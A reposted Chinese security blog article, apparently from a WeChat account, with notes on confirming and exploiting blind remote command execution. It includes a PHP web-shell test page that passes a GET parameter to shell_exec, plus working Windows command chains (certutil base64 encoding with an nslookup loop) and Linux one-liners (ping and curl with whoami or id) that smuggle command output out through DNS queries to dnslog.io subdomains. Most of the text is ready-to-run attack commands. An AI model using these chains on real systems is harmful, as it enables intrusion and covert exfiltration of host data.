无回显代码执行(rce)利用笔记

admin 2022年8月22日00:50:10评论602 views字数 1764阅读5分52秒阅读模式

验证漏洞

针对无回显的命令执行漏洞,让目标机执行wget、nc或者curl等命令,然后在公网主机监听对应的端口,通过日志来判断命令是否被执行。该方法可行,不过缺陷有以下几点:

  • 修改了目标机的文件系统

  • 不具有通用性,如windows没有nc、linux没有wget的情况。

  • 涉及到TCP数据传输,执行速度慢

一种更好的方式是使用dns日志来判断命令是否执行,流程如下:

  1. 生成一个特殊的域名,如 1dsa3r3.shiro.server.com

  2. 构造payload让目标机执行 ping 1dsa3r3.shiro.server.com

  3. 登录dns服务后台,如果后台记录了该域名的dns查询记录,即证明目标存在命令执行。

这种方法首先适应了win/unix系统,二者均自带ping命令。而且执行DNS的速度要快于TCP。

Dnslog

首先需要有一个可以配置的域名,比如:gwsg7.l.dnslog.io,然后通过代理商设置域名 gwsg7.l.dnslog.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 gwsg7.l.dnslog.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了

https://dnslog.io/ 这是一个免费的记录dnslog的平台,访问后会给你一个临时的三级域名:xxx.l.dnslog.io 当我们把注入信息放到四级域名那里,日志会记录下来。

环境搭建

然后使用get传入命令去执行

<?phpshell_exec($_GET['cmd'])?>

Windows

首先执行命令并编码返回结果,将结果保存到 temp 文件内,certutil 的 -F 参数可以强制覆盖。生成 base64 编码过的执行结果

cmd /c 命令> temp && certutil -encode -f temp temp

读取temp中的内容忽略 -----BEGIN CERTIFICATE—— 和 -----END CERTIFICATE—— 并发送

FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,-1%.xxxx.l.dnslog.i

尝试输出字符并发送

cmd /c echo JunMo > temp && certutil -encode -f temp temp && FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,-1%.f57cx.l.dnslog.io)

无回显代码执行(rce)利用笔记

来到dnslog平台查看,发现成功传了过来

无回显代码执行(rce)利用笔记

如果内容太多的话,没办法一次发送一行,需要分次发,命令如下

FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,40%.01kd.l.dnslog.io & cmd /c nslookup %_:~40,-1%.01kd.l.dnslog.io)

执行一下ipconfig然后发送

cmd /c ipconfig > temp && certutil -encode -f temp temp&&FOR /F "eol=- delims=" %i IN (temp) DO (set _=%i & cmd /c nslookup %_:~0,40%.01kd.l.dnslog.io & cmd /c nslookup %_:~40,-1%.01kd.l.dnslog.io)&del temp

无回显代码执行(rce)利用笔记

也可以通过start会使用默认浏览器打开 Mo60.kukyv.l.dnslog.io

for /F %X in ('echo Mo60') do start http://%X.kukyv.l.dnslog.io

无回显代码执行(rce)利用笔记

也可以通过ping命令

for /F %i in ('echo Mo60') do ping -n 1 %i.zjf5.l.dnslog.io

无回显代码执行(rce)利用笔记

无回显代码执行(rce)利用笔记

Linux

linux下通过ping命令

ping `whoami`.0s1pm.l.dnslog.io

无回显代码执行(rce)利用笔记

ping命令结合base64编码

ping $(id|base64).94h07.l.dnslog.io

linux下通过curl命令

curl  `whoami`.ue5pg.l.dnslog.io


原文始发于微信公众号(Mo60):无回显代码执行(rce)利用笔记

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年8月22日00:50:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   无回显代码执行(rce)利用笔记http://cn-sec.com/archives/1069907.html

发表评论

匿名网友 填写信息